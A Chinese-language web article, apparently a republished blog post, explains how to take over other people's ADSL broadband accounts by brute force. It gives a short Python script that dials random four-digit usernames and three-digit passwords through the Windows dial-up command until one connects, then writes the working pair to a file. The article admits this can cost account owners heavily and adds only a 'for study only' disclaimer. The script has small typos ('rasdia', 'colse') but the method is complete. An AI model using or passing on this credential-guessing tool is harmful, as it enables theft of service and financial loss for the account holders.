基于python实现ADSL宽带帐户的获取和宽带拨号
基本思路:
1、Internet访问研究(实验环境是电信网络电缆访问ADSL,拨号PPPOE)
2、研究了宽带帐户和密码生成的规则(实验环境,宽带帐户由4个数字组成,密码由3个数字组成),发现帐户和密码非常简单
3、使用python调用系统的内置rasdia程序进行拨号。如果拨号成功,则该帐户有效,并停止拨号。 (如果拨号成功,则该号码将在首次访问互联网后的一个月内有效。如果继续检测到该号码,则可能导致另一方财产大量丢失)
4、该程序仅用于学习,请勿将其用于非法目的,否则后果自负。
源代码:
#!/usr/bin/env python # -*- coding:utf-8 -*- __author__ = 'laiyu' import os import random import time if __name__ == "__main__": not_found = 1 while not_found: # 随机生成宽带帐号和密码 username = str(random.randint(1000, 9999)) passwd = str(random.randint(100, 999)) # 宽带拨号 cmd_str = "rasdia" + " " + "宽带连接" + " " + username + " " + passwd not_found = os.system(cmd_str) time.sleep(10) # 拨号成功,保存帐号密码 if not_found == 0: file = open("d:\\test.txt", "w") file.write(username+ "" + passwd) file.colse()
本文来自本站,转载请注明本文网址:
http://www.pc-fly.com/a/tongxingongju/article-323721-1.html
……